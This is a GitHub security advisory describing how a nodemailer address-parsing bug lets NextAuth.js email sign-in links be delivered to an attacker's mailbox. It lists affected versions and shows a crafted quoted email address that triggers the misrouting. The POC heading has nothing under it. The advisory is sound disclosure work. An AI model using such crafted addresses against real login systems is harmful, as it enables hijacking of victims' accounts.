GitHub Vulnerability Alerts

GHSA-5jpx-9hw9-2fx4

Summary

NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in nodemailer's address parser used by the project (fixed in nodemailer v7.0.7). A crafted input such as:

"[email protected]"@​victim.com

is parsed incorrectly and results in the message being delivered to [email protected] (attacker) instead of "<[email protected]>@&#8203;victim.com" (the intended recipient at victim.com) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.

Affected NextAuthjs Version

≤ Version Afftected
4.24.11 Yes
5.0.0-beta.29 Yes

POC
